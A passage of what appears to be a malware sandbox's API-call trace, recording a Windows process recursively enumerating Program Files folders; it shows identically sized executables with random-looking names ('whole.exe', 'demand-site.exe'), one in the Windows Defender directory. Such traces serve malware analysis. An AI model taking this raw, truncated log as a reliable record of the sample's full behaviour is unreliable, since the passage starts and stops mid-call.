out: hHeap=0x4b0000) returned 1 [0043.771] FindNextFileW (in: hFindFile=0x3ec0230, lpFindFileData=0x351f58c | out: lpFindFileData=0x351f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Workflow Foundation", cAlternateFileName="WINDOW~1")) returned 0 [0043.771] FindClose (in: hFindFile=0x3ec0230 | out: hFindFile=0x3ec0230) returned 1 [0043.771] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x39306e8 | out: hHeap=0x4b0000) returned 1 [0043.771] FindNextFileW (in: hFindFile=0x3ec01b0, lpFindFileData=0x351f808 | out: lpFindFileData=0x351f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d617960, ftCreationTime.dwHighDateTime=0x1d4b80e, ftLastAccessTime.dwLowDateTime=0x8ad446d0, ftLastAccessTime.dwHighDateTime=0x1d495af, ftLastWriteTime.dwLowDateTime=0x8ad446d0, ftLastWriteTime.dwHighDateTime=0x1d495af, nFileSizeHigh=0x0, nFileSizeLow=0x12800, dwReserved0=0x0, dwReserved1=0x0, cFileName="whole.exe", cAlternateFileName="")) returned 1 [0043.771] FindClose (in: hFindFile=0x3ec01b0 | out: hFindFile=0x3ec01b0) returned 1 [0043.771] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x39006d0 | out: hHeap=0x4b0000) returned 1 [0043.771] FindNextFileW (in: hFindFile=0x3ec0170, lpFindFileData=0x351fa84 | out: lpFindFileData=0x351fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reference Assemblies", cAlternateFileName="REFERE~1")) returned 1 [0043.771] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x39006d0 [0043.771] FindFirstFileW (in: lpFileName="C:\\Program Files\\Reference Assemblies\\*", lpFindFileData=0x351f808 | out: lpFindFileData=0x351f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ec01b0 [0043.771] FindNextFileW (in: hFindFile=0x3ec01b0, lpFindFileData=0x351f808 | out: lpFindFileData=0x351f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0043.771] FindNextFileW (in: hFindFile=0x3ec01b0, lpFindFileData=0x351f808 | out: lpFindFileData=0x351f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1 [0043.771] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x39306e8 [0043.772] FindFirstFileW (in: lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\*", lpFindFileData=0x351f58c | out: lpFindFileData=0x351f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ec0230 [0043.772] FindNextFileW (in: hFindFile=0x3ec0230, lpFindFileData=0x351f58c | out: lpFindFileData=0x351f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0043.772] FindNextFileW (in: hFindFile=0x3ec0230, lpFindFileData=0x351f58c | out: lpFindFileData=0x351f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Framework", cAlternateFileName="FRAMEW~1")) returned 1 [0043.772] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x3fb18a0 [0043.772] FindFirstFileW (in: lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\*", lpFindFileData=0x351f310 | out: lpFindFileData=0x351f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ec02b0 [0043.772] FindNextFileW (in: hFindFile=0x3ec02b0, lpFindFileData=0x351f310 | out: lpFindFileData=0x351f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0043.772] FindNextFileW (in: hFindFile=0x3ec02b0, lpFindFileData=0x351f310 | out: lpFindFileData=0x351f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x974da2e9, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x974da2e9, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v3.0", cAlternateFileName="")) returned 1 [0043.772] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x3f41088 [0043.772] FindFirstFileW (in: lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\*", lpFindFileData=0x351f094 | out: lpFindFileData=0x351f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x974da2e9, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x974da2e9, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ec00f0 [0043.774] FindNextFileW (in: hFindFile=0x3ec00f0, lpFindFileData=0x351f094 | out: lpFindFileData=0x351f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x974da2e9, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x974da2e9, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0043.774] FindNextFileW (in: hFindFile=0x3ec00f0, lpFindFileData=0x351f094 | out: lpFindFileData=0x351f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa981eb4a, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa981eb4a, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa981eb4a, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x92000, dwReserved0=0x0, dwReserved1=0x0, cFileName="PresentationBuildTasks.dll", cAlternateFileName="")) returned 1 [0043.775] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x3fd38b0 [0043.775] FindFirstFileW (in: lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\*", lpFindFileData=0x351ee18 | out: lpFindFileData=0x351ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x803feff7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x803feff7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ec0470 [0043.775] FindNextFileW (in: hFindFile=0x3ec0470, lpFindFileData=0x351ee18 | out: lpFindFileData=0x351ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x803feff7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x803feff7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0043.775] FindNextFileW (in: hFindFile=0x3ec0470, lpFindFileData=0x351ee18 | out: lpFindFileData=0x351ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x803feff7, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bf1d2d9, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bf1d2d9, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x1bd4, dwReserved0=0x0, dwReserved1=0x0, cFileName="FrameworkList.xml", cAlternateFileName="FRAMEW~1.XML")) returned 1 [0043.775] FindClose (in: hFindFile=0x3ec0470 | out: hFindFile=0x3ec0470) returned 1 [0043.776] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3fd38b0 | out: hHeap=0x4b0000) returned 1 [0043.776] FindNextFileW (in: hFindFile=0x3ec00f0, lpFindFileData=0x351f094 | out: lpFindFileData=0x351f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa9d79cd4, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa9d79cd4, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa9d9fe34, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x62000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.IdentityModel.dll", cAlternateFileName="")) returned 1 [0043.776] FindClose (in: hFindFile=0x3ec00f0 | out: hFindFile=0x3ec00f0) returned 1 [0043.776] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f41088 | out: hHeap=0x4b0000) returned 1 [0043.776] FindNextFileW (in: hFindFile=0x3ec02b0, lpFindFileData=0x351f310 | out: lpFindFileData=0x351f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x96e4e65d, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x96e4e65d, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v3.5", cAlternateFileName="")) returned 1 [0043.776] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x3f41088 [0043.777] FindFirstFileW (in: lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\*", lpFindFileData=0x351f094 | out: lpFindFileData=0x351f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x96e4e65d, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x96e4e65d, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ec00f0 [0043.778] FindNextFileW (in: hFindFile=0x3ec00f0, lpFindFileData=0x351f094 | out: lpFindFileData=0x351f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x96e4e65d, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x96e4e65d, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0043.778] FindNextFileW (in: hFindFile=0x3ec00f0, lpFindFileData=0x351f094 | out: lpFindFileData=0x351f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1efbd239, ftCreationTime.dwHighDateTime=0x1ca03fc, ftLastAccessTime.dwLowDateTime=0x1efbd239, ftLastAccessTime.dwHighDateTime=0x1ca03fc, ftLastWriteTime.dwLowDateTime=0x5ce0c4ab, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x1a000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Build.Conversion.v3.5.dll", cAlternateFileName="")) returned 1 [0043.779] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x3fd38b0 [0043.779] FindFirstFileW (in: lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\RedistList\\*", lpFindFileData=0x351ee18 | out: lpFindFileData=0x351ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x803d8e97, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x803d8e97, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ec0470 [0043.779] FindNextFileW (in: hFindFile=0x3ec0470, lpFindFileData=0x351ee18 | out: lpFindFileData=0x351ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x803d8e97, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x803d8e97, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0043.779] FindNextFileW (in: hFindFile=0x3ec0470, lpFindFileData=0x351ee18 | out: lpFindFileData=0x351ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2273aeba, ftCreationTime.dwHighDateTime=0x1ca03fc, ftLastAccessTime.dwLowDateTime=0x2273aeba, ftLastAccessTime.dwHighDateTime=0x1ca03fc, ftLastWriteTime.dwLowDateTime=0x5d093be9, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x5ec3, dwReserved0=0x0, dwReserved1=0x0, cFileName="FrameworkList.xml", cAlternateFileName="")) returned 1 [0043.779] FindClose (in: hFindFile=0x3ec0470 | out: hFindFile=0x3ec0470) returned 1 [0043.779] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3fd38b0 | out: hHeap=0x4b0000) returned 1 [0043.779] FindNextFileW (in: hFindFile=0x3ec00f0, lpFindFileData=0x351f094 | out: lpFindFileData=0x351f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xad69ad3d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xad69ad3d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xad69ad3d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xb000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.AddIn.Contract.dll", cAlternateFileName="")) returned 1 [0043.780] FindClose (in: hFindFile=0x3ec00f0 | out: hFindFile=0x3ec00f0) returned 1 [0043.780] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f41088 | out: hHeap=0x4b0000) returned 1 [0043.780] FindNextFileW (in: hFindFile=0x3ec02b0, lpFindFileData=0x351f310 | out: lpFindFileData=0x351f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x96e4e65d, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x96e4e65d, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v3.5", cAlternateFileName="")) returned 0 [0043.780] FindClose (in: hFindFile=0x3ec02b0 | out: hFindFile=0x3ec02b0) returned 1 [0043.780] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3fb18a0 | out: hHeap=0x4b0000) returned 1 [0043.780] FindNextFileW (in: hFindFile=0x3ec0230, lpFindFileData=0x351f58c | out: lpFindFileData=0x351f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Framework", cAlternateFileName="FRAMEW~1")) returned 0 [0043.781] FindClose (in: hFindFile=0x3ec0230 | out: hFindFile=0x3ec0230) returned 1 [0043.781] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x39306e8 | out: hHeap=0x4b0000) returned 1 [0043.782] FindNextFileW (in: hFindFile=0x3ec01b0, lpFindFileData=0x351f808 | out: lpFindFileData=0x351f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 0 [0043.782] FindClose (in: hFindFile=0x3ec01b0 | out: hFindFile=0x3ec01b0) returned 1 [0043.782] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x39006d0 | out: hHeap=0x4b0000) returned 1 [0043.782] FindNextFileW (in: hFindFile=0x3ec0170, lpFindFileData=0x351fa84 | out: lpFindFileData=0x351fa84*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x4232b3dd, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x4232b3dd, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x4232b3dd, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Uninstall Information", cAlternateFileName="UNINST~1")) returned 1 [0043.782] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x39006d0 [0043.782] FindFirstFileW (in: lpFileName="C:\\Program Files\\Uninstall Information\\*", lpFindFileData=0x351f808 | out: lpFindFileData=0x351f808*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x4232b3dd, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x4232b3dd, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x4232b3dd, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ec01b0 [0043.783] FindNextFileW (in: hFindFile=0x3ec01b0, lpFindFileData=0x351f808 | out: lpFindFileData=0x351f808*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x4232b3dd, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x4232b3dd, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x4232b3dd, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0043.783] FindNextFileW (in: hFindFile=0x3ec01b0, lpFindFileData=0x351f808 | out: lpFindFileData=0x351f808*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x4232b3dd, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x4232b3dd, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x4232b3dd, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0043.783] FindClose (in: hFindFile=0x3ec01b0 | out: hFindFile=0x3ec01b0) returned 1 [0043.783] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x39006d0 | out: hHeap=0x4b0000) returned 1 [0043.783] FindNextFileW (in: hFindFile=0x3ec0170, lpFindFileData=0x351fa84 | out: lpFindFileData=0x351fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x81cd6ff0, ftLastAccessTime.dwHighDateTime=0x1d52095, ftLastWriteTime.dwLowDateTime=0x81cd6ff0, ftLastWriteTime.dwHighDateTime=0x1d52095, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Defender", cAlternateFileName="WINDOW~3")) returned 1 [0043.783] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x39006d0 [0043.783] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Defender\\*", lpFindFileData=0x351f808 | out: lpFindFileData=0x351f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x81cd6ff0, ftLastAccessTime.dwHighDateTime=0x1d52095, ftLastWriteTime.dwLowDateTime=0x81cd6ff0, ftLastWriteTime.dwHighDateTime=0x1d52095, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ec01b0 [0043.783] FindNextFileW (in: hFindFile=0x3ec01b0, lpFindFileData=0x351f808 | out: lpFindFileData=0x351f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x81cd6ff0, ftLastAccessTime.dwHighDateTime=0x1d52095, ftLastWriteTime.dwLowDateTime=0x81cd6ff0, ftLastWriteTime.dwHighDateTime=0x1d52095, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0043.783] FindNextFileW (in: hFindFile=0x3ec01b0, lpFindFileData=0x351f808 | out: lpFindFileData=0x351f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fcb2f0, ftCreationTime.dwHighDateTime=0x1d4d8c8, ftLastAccessTime.dwLowDateTime=0x3bad8710, ftLastAccessTime.dwHighDateTime=0x1d5028d, ftLastWriteTime.dwLowDateTime=0x3bad8710, ftLastWriteTime.dwHighDateTime=0x1d5028d, nFileSizeHigh=0x0, nFileSizeLow=0x12800, dwReserved0=0x0, dwReserved1=0x0, cFileName="demand-site.exe", cAlternateFileName="DEMAND~1.EXE")) returned 1 [0043.783] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x39306e8 [0043.784] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Defender\\en-US\\*", lpFindFileData=0x351f58c | out: lpFindFileData=0x351f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23376857, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ec0230 [0043.784] FindNextFileW (in: hFindFile=0x3ec0230, lpFindFileData=0x351f58c | out: lpFindFileData=0x351f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23376857, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0043.784] FindNextFileW (in: hFindFile=0x3ec0230, lpFindFileData=0x351f58c | out: lpFindFileData=0x351f58c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe494541, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xe874c0b, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xe494541, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x8a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="MpAsDesc.dll.mui", cAlternateFileName="")) returned 1 [0043.784] FindClose (in: hFindFile=0x3ec0230 | out: hFindFile=0x3ec0230) returned 1 [0043.784] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, 